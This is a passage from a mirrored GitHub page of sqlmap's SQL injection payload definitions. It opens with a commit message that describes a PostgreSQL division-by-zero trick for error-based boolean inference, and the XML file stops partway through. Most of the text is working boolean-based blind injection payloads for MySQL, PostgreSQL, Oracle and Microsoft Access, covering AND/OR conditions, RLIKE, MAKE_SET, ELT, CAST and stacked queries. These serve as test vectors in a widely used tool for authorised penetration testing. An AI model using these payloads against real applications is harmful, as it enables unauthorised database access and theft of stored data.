mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-02-10 01:19:41 +03:00
Sadly, the mechanism triggering the error using CAST to integer on a string did not work for me. This is probably caused by PostgreSQL optimizing the query as described in https://www.postgresql.org/docs/9.6/static/functions-conditional.html : "Note: As described in Section 4.2.14, there are various situations in which subexpressions of an expression are evaluated at different times, so that the principle that "CASE evaluates only necessary subexpressions" is not ironclad. For example a constant 1/0 subexpression will usually result in a division-by-zero failure at planning time, even if it's within a CASE arm that would never be entered at run time." My trivial test case for causing/not causing an error based on a condition was: ------------------------------------------------------------------------ mytestdb=> SELECT CASE WHEN (1=1) THEN 1/1 ELSE 1/0 END; 1 mytestdb=> SELECT CASE WHEN (1=2) THEN 1/1 ELSE 1/0 END; ERROR: division by zero ------------------------------------------------------------------------ As expected, the division by zero error is only triggered when the condition is not met. Second, dynamic, testcase (the first character of VERSION() has ASCII code 80, so last condition is expected to return true): ------------------------------------------------------------------------ mytestdb=> SELECT ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM 1 FOR 1)); 80 (1 row) mytestdb=> SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM 1 FOR 1))>126) THEN 1 ELSE 2/0 END) IS NULL; ERROR: division by zero mytestdb=> SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM 1 FOR 1))>26) THEN 1 ELSE 2/0 END) IS NULL; ERROR: division by zero ------------------------------------------------------------------------ However, the ELSE part is evaluated both when the condition is true and when it is not true, as described in the documentation cited above. This can be worked around by using an error that can not be detected by static analysis (length of version() is about 100, so last condition is expected to return true): ------------------------------------------------------------------------ mytestdb=> SELECT (CASE WHEN (char_length(version())<80) THEN (1/(char_length(substring(version(),1,1))-1)) ELSE 2 END); 2 mytestdb=> SELECT (CASE WHEN (char_length(version())>80) THEN (1/(char_length(substring(version(),1,1))-1)) ELSE 2 END); ERROR: division by zero ------------------------------------------------------------------------ While we know that substring(X, 1, 1) will return 1 for any non-empty string, the database engine is probably not able to optimize that away based on the slight chance that VERSION() may return an empty string. This has been used successfully on PostgreSQL 9.6.
1576 lines
57 KiB
XML
1576 lines
57 KiB
XML
<?xml version="1.0" encoding="UTF-8"?>
|
|
|
|
<!--
|
|
Tag: <test>
|
|
SQL injection test definition.
|
|
|
|
Sub-tag: <title>
|
|
Title of the test.
|
|
|
|
Sub-tag: <stype>
|
|
SQL injection family type.
|
|
|
|
Valid values:
|
|
1: Boolean-based blind SQL injection
|
|
2: Error-based queries SQL injection
|
|
3: Inline queries SQL injection
|
|
4: Stacked queries SQL injection
|
|
5: Time-based blind SQL injection
|
|
6: UNION query SQL injection
|
|
|
|
Sub-tag: <level>
|
|
From which level check for this test.
|
|
|
|
Valid values:
|
|
1: Always (<100 requests)
|
|
2: Try a bit harder (100-200 requests)
|
|
3: Good number of requests (200-500 requests)
|
|
4: Extensive test (500-1000 requests)
|
|
5: You have plenty of time (>1000 requests)
|
|
|
|
Sub-tag: <risk>
|
|
Likelihood of a payload to damage the data integrity.
|
|
|
|
Valid values:
|
|
1: Low risk
|
|
2: Medium risk
|
|
3: High risk
|
|
|
|
Sub-tag: <clause>
|
|
In which clause the payload can work.
|
|
|
|
NOTE: for instance, there are some payload that do not have to be
|
|
tested as soon as it has been identified whether or not the
|
|
injection is within a WHERE clause condition.
|
|
|
|
Valid values:
|
|
0: Always
|
|
1: WHERE / HAVING
|
|
2: GROUP BY
|
|
3: ORDER BY
|
|
4: LIMIT
|
|
5: OFFSET
|
|
6: TOP
|
|
7: Table name
|
|
8: Column name
|
|
9: Pre-WHERE (non-query)
|
|
|
|
A comma separated list of these values is also possible.
|
|
|
|
Sub-tag: <where>
|
|
Where to add our '<prefix> <payload><comment> <suffix>' string.
|
|
|
|
Valid values:
|
|
1: Append the string to the parameter original value
|
|
2: Replace the parameter original value with a negative random
|
|
integer value and append our string
|
|
3: Replace the parameter original value with our string
|
|
|
|
Sub-tag: <vector>
|
|
The payload that will be used to exploit the injection point.
|
|
|
|
Sub-tag: <request>
|
|
What to inject for this test.
|
|
|
|
Sub-tag: <payload>
|
|
The payload to test for.
|
|
|
|
Sub-tag: <comment>
|
|
Comment to append to the payload, before the suffix.
|
|
|
|
Sub-tag: <char>
|
|
Character to use to bruteforce number of columns in UNION
|
|
query SQL injection tests.
|
|
|
|
Sub-tag: <columns>
|
|
Range of columns to test for in UNION query SQL injection
|
|
tests.
|
|
|
|
Sub-tag: <response>
|
|
How to identify if the injected payload succeeded.
|
|
|
|
Sub-tag: <comparison>
|
|
Perform a request with this string as the payload and compare
|
|
the response with the <payload> response. Apply the comparison
|
|
algorithm.
|
|
|
|
NOTE: useful to test for boolean-based blind SQL injections.
|
|
|
|
Sub-tag: <grep>
|
|
Regular expression to grep for in the response body.
|
|
|
|
NOTE: useful to test for error-based SQL injection.
|
|
|
|
Sub-tag: <time>
|
|
Time in seconds to wait before the response is returned.
|
|
|
|
NOTE: useful to test for time-based blind and stacked queries
|
|
SQL injections.
|
|
|
|
Sub-tag: <union>
|
|
Calls unionTest() function.
|
|
|
|
NOTE: useful to test for UNION query (inband) SQL injection.
|
|
|
|
Sub-tag: <details>
|
|
Which details can be infered if the payload succeed.
|
|
|
|
Sub-tags: <dbms>
|
|
What is the database management system (e.g. MySQL).
|
|
|
|
Sub-tags: <dbms_version>
|
|
What is the database management system version (e.g. 5.0.51).
|
|
|
|
Sub-tags: <os>
|
|
What is the database management system underlying operating
|
|
system.
|
|
|
|
<test>
|
|
<title></title>
|
|
<stype></stype>
|
|
<level></level>
|
|
<risk></risk>
|
|
<clause></clause>
|
|
<where></where>
|
|
<vector></vector>
|
|
<request>
|
|
<payload></payload>
|
|
<comment></comment>
|
|
<char></char>
|
|
<columns></columns>
|
|
</request>
|
|
<response>
|
|
<comparison></comparison>
|
|
<grep></grep>
|
|
<time></time>
|
|
<union></union>
|
|
</response>
|
|
<details>
|
|
<dbms></dbms>
|
|
<dbms_version></dbms_version>
|
|
<os></os>
|
|
</details>
|
|
</test>
|
|
-->
|
|
|
|
<root>
|
|
<!-- Boolean-based blind tests - WHERE/HAVING clause -->
|
|
<test>
|
|
<title>AND boolean-based blind - WHERE or HAVING clause</title>
|
|
<stype>1</stype>
|
|
<level>1</level>
|
|
<risk>1</risk>
|
|
<clause>1,9</clause>
|
|
<where>1</where>
|
|
<vector>AND [INFERENCE]</vector>
|
|
<request>
|
|
<payload>AND [RANDNUM]=[RANDNUM]</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
|
|
</response>
|
|
</test>
|
|
|
|
<test>
|
|
<title>OR boolean-based blind - WHERE or HAVING clause</title>
|
|
<stype>1</stype>
|
|
<level>1</level>
|
|
<risk>3</risk>
|
|
<clause>1,9</clause>
|
|
<where>2</where>
|
|
<vector>OR [INFERENCE]</vector>
|
|
<request>
|
|
<payload>OR [RANDNUM]=[RANDNUM]</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>OR [RANDNUM]=[RANDNUM1]</comparison>
|
|
</response>
|
|
</test>
|
|
|
|
<test>
|
|
<title>OR boolean-based blind - WHERE or HAVING clause (NOT)</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>3</risk>
|
|
<clause>1,9</clause>
|
|
<where>1</where>
|
|
<vector>OR NOT [INFERENCE]</vector>
|
|
<request>
|
|
<payload>OR NOT [RANDNUM]=[RANDNUM]</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison>
|
|
</response>
|
|
</test>
|
|
|
|
<test>
|
|
<title>AND boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
|
|
<stype>1</stype>
|
|
<level>2</level>
|
|
<risk>1</risk>
|
|
<clause>1</clause>
|
|
<where>1</where>
|
|
<vector>AND [INFERENCE]</vector>
|
|
<request>
|
|
<payload>AND [RANDNUM]=[RANDNUM]</payload>
|
|
<comment>[GENERIC_SQL_COMMENT]</comment>
|
|
</request>
|
|
<response>
|
|
<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
|
|
</response>
|
|
</test>
|
|
|
|
<test>
|
|
<title>OR boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
|
|
<stype>1</stype>
|
|
<level>2</level>
|
|
<risk>3</risk>
|
|
<clause>1</clause>
|
|
<where>2</where>
|
|
<vector>OR [INFERENCE]</vector>
|
|
<request>
|
|
<payload>OR [RANDNUM]=[RANDNUM]</payload>
|
|
<comment>[GENERIC_SQL_COMMENT]</comment>
|
|
</request>
|
|
<response>
|
|
<comparison>OR [RANDNUM]=[RANDNUM1]</comparison>
|
|
</response>
|
|
</test>
|
|
|
|
<test>
|
|
<title>OR boolean-based blind - WHERE or HAVING clause (Generic comment) (NOT)</title>
|
|
<stype>1</stype>
|
|
<level>4</level>
|
|
<risk>3</risk>
|
|
<clause>1</clause>
|
|
<where>1</where>
|
|
<vector>OR NOT [INFERENCE]</vector>
|
|
<request>
|
|
<payload>OR NOT [RANDNUM]=[RANDNUM]</payload>
|
|
<comment>[GENERIC_SQL_COMMENT]</comment>
|
|
</request>
|
|
<response>
|
|
<comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison>
|
|
</response>
|
|
</test>
|
|
|
|
<test>
|
|
<title>AND boolean-based blind - WHERE or HAVING clause (MySQL comment)</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>1</risk>
|
|
<clause>1</clause>
|
|
<where>1</where>
|
|
<vector>AND [INFERENCE]</vector>
|
|
<request>
|
|
<payload>AND [RANDNUM]=[RANDNUM]</payload>
|
|
<comment>#</comment>
|
|
</request>
|
|
<response>
|
|
<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>OR boolean-based blind - WHERE or HAVING clause (MySQL comment)</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>3</risk>
|
|
<clause>1</clause>
|
|
<where>2</where>
|
|
<vector>OR [INFERENCE]</vector>
|
|
<request>
|
|
<payload>OR [RANDNUM]=[RANDNUM]</payload>
|
|
<comment>#</comment>
|
|
</request>
|
|
<response>
|
|
<comparison>OR [RANDNUM]=[RANDNUM1]</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>3</risk>
|
|
<clause>1</clause>
|
|
<where>1</where>
|
|
<vector>OR NOT [INFERENCE]</vector>
|
|
<request>
|
|
<payload>OR NOT [RANDNUM]=[RANDNUM]</payload>
|
|
<comment>#</comment>
|
|
</request>
|
|
<response>
|
|
<comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>AND boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>1</risk>
|
|
<clause>1</clause>
|
|
<where>1</where>
|
|
<vector>AND [INFERENCE]</vector>
|
|
<request>
|
|
<payload>AND [RANDNUM]=[RANDNUM]</payload>
|
|
<comment>%16</comment>
|
|
</request>
|
|
<response>
|
|
<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Microsoft Access</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>OR boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>3</risk>
|
|
<clause>1</clause>
|
|
<where>2</where>
|
|
<vector>OR [INFERENCE]</vector>
|
|
<request>
|
|
<payload>OR [RANDNUM]=[RANDNUM]</payload>
|
|
<comment>%16</comment>
|
|
</request>
|
|
<response>
|
|
<comparison>OR [RANDNUM]=[RANDNUM1]</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Microsoft Access</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
|
|
<stype>1</stype>
|
|
<level>2</level>
|
|
<risk>1</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>1</where>
|
|
<vector>RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END))</vector>
|
|
<request>
|
|
<payload>RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 0x28 END))</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 0x28 END))</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>1</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>1</where>
|
|
<vector>AND MAKE_SET([INFERENCE],[RANDNUM])</vector>
|
|
<request>
|
|
<payload>AND MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1])</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>AND MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1])</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>3</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>2</where>
|
|
<vector>OR MAKE_SET([INFERENCE],[RANDNUM])</vector>
|
|
<request>
|
|
<payload>OR MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1])</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>OR MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1])</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)</title>
|
|
<stype>1</stype>
|
|
<level>4</level>
|
|
<risk>1</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>1</where>
|
|
<vector>AND ELT([INFERENCE],[RANDNUM])</vector>
|
|
<request>
|
|
<payload>AND ELT([RANDNUM]=[RANDNUM],[RANDNUM1])</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>AND ELT([RANDNUM]=[RANDNUM1],[RANDNUM1])</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)</title>
|
|
<stype>1</stype>
|
|
<level>4</level>
|
|
<risk>3</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>2</where>
|
|
<vector>OR ELT([INFERENCE],[RANDNUM])</vector>
|
|
<request>
|
|
<payload>OR ELT([RANDNUM]=[RANDNUM],[RANDNUM1])</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>OR ELT([RANDNUM]=[RANDNUM1],[RANDNUM1])</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)</title>
|
|
<stype>1</stype>
|
|
<level>5</level>
|
|
<risk>1</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>1</where>
|
|
<vector>AND ([INFERENCE])*[RANDNUM]</vector>
|
|
<request>
|
|
<payload>AND ([RANDNUM]=[RANDNUM])*[RANDNUM1]</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>AND ([RANDNUM]=[RANDNUM1])*[RANDNUM1]</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)</title>
|
|
<stype>1</stype>
|
|
<level>5</level>
|
|
<risk>3</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>2</where>
|
|
<vector>OR ([INFERENCE])*[RANDNUM]</vector>
|
|
<request>
|
|
<payload>OR ([RANDNUM]=[RANDNUM])*[RANDNUM1]</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>OR ([RANDNUM]=[RANDNUM1])*[RANDNUM1]</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)</title>
|
|
<stype>1</stype>
|
|
<level>2</level>
|
|
<risk>1</risk>
|
|
<clause>1</clause>
|
|
<where>1</where>
|
|
<vector>AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</vector>
|
|
<request>
|
|
<payload>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>PostgreSQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>PostgreSQL OR boolean-based blind - WHERE or HAVING clause (CAST)</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>3</risk>
|
|
<clause>1</clause>
|
|
<where>2</where>
|
|
<vector>OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</vector>
|
|
<request>
|
|
<payload>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>PostgreSQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>PostgreSQL > 8.1 stacked queries (comment) - boolean-based blind</title>
|
|
<stype>1</stype>
|
|
<level>1</level>
|
|
<risk>1</risk>
|
|
<clause>0</clause>
|
|
<where>1</where>
|
|
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE (1/(char_length(substring(version(),1,1))-1)) END) IS NULL</vector>
|
|
<request>
|
|
<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE (1/(char_length(substring(version(),1,1))-1)) END) IS NULL</payload>
|
|
<comment>--</comment>
|
|
</request>
|
|
<response>
|
|
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE (1/(char_length(substring(version(),1,1))-1)) END) IS NULL</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>PostgreSQL</dbms>
|
|
<dbms_version>> 8.1</dbms_version>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)</title>
|
|
<stype>1</stype>
|
|
<level>2</level>
|
|
<risk>1</risk>
|
|
<clause>1</clause>
|
|
<where>1</where>
|
|
<vector>AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</vector>
|
|
<request>
|
|
<payload>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Oracle</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Oracle OR boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>3</risk>
|
|
<clause>1</clause>
|
|
<where>2</where>
|
|
<vector>OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</vector>
|
|
<request>
|
|
<payload>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Oracle</dbms>
|
|
</details>
|
|
</test>
|
|
<!-- End of boolean-based blind tests - WHERE or HAVING clause -->
|
|
|
|
<!-- Boolean-based blind tests - Parameter replace -->
|
|
<test>
|
|
<title>MySQL >= 5.0 boolean-based blind - Parameter replace</title>
|
|
<stype>1</stype>
|
|
<level>1</level>
|
|
<risk>1</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>3</where>
|
|
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
|
<request>
|
|
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
<dbms_version>>= 5.0</dbms_version>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>MySQL >= 5.0 boolean-based blind - Parameter replace (original value)</title>
|
|
<stype>1</stype>
|
|
<level>2</level>
|
|
<risk>1</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>3</where>
|
|
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
|
<request>
|
|
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
<dbms_version>>= 5.0</dbms_version>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>MySQL < 5.0 boolean-based blind - Parameter replace</title>
|
|
<stype>1</stype>
|
|
<level>2</level>
|
|
<risk>1</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>3</where>
|
|
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
|
<request>
|
|
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
<dbms_version>< 5.0</dbms_version>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>MySQL < 5.0 boolean-based blind - Parameter replace (original value)</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>1</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>3</where>
|
|
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
|
<request>
|
|
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
<dbms_version>< 5.0</dbms_version>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>MySQL boolean-based blind - Parameter replace (MAKE_SET)</title>
|
|
<stype>1</stype>
|
|
<level>4</level>
|
|
<risk>1</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>3</where>
|
|
<vector>MAKE_SET([INFERENCE],[RANDNUM])</vector>
|
|
<request>
|
|
<payload>MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1])</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1])</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)</title>
|
|
<stype>1</stype>
|
|
<level>5</level>
|
|
<risk>1</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>3</where>
|
|
<vector>MAKE_SET([INFERENCE],[ORIGVALUE])</vector>
|
|
<request>
|
|
<payload>MAKE_SET([RANDNUM]=[RANDNUM],[ORIGVALUE])</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>MAKE_SET([RANDNUM]=[RANDNUM1],[ORIGVALUE])</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>MySQL boolean-based blind - Parameter replace (ELT)</title>
|
|
<stype>1</stype>
|
|
<level>4</level>
|
|
<risk>1</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>3</where>
|
|
<vector>ELT([INFERENCE],[RANDNUM])</vector>
|
|
<request>
|
|
<payload>ELT([RANDNUM]=[RANDNUM],[RANDNUM1])</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>ELT([RANDNUM]=[RANDNUM1],[RANDNUM1])</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>MySQL boolean-based blind - Parameter replace (ELT - original value)</title>
|
|
<stype>1</stype>
|
|
<level>5</level>
|
|
<risk>1</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>3</where>
|
|
<vector>ELT([INFERENCE],[ORIGVALUE])</vector>
|
|
<request>
|
|
<payload>ELT([RANDNUM]=[RANDNUM],[ORIGVALUE])</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>ELT([RANDNUM]=[RANDNUM1],[ORIGVALUE])</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>MySQL boolean-based blind - Parameter replace (bool*int)</title>
|
|
<stype>1</stype>
|
|
<level>4</level>
|
|
<risk>1</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>3</where>
|
|
<vector>([INFERENCE])*[RANDNUM]</vector>
|
|
<request>
|
|
<payload>([RANDNUM]=[RANDNUM])*[RANDNUM1]</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>([RANDNUM]=[RANDNUM1])*[RANDNUM1]</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>MySQL boolean-based blind - Parameter replace (bool*int - original value)</title>
|
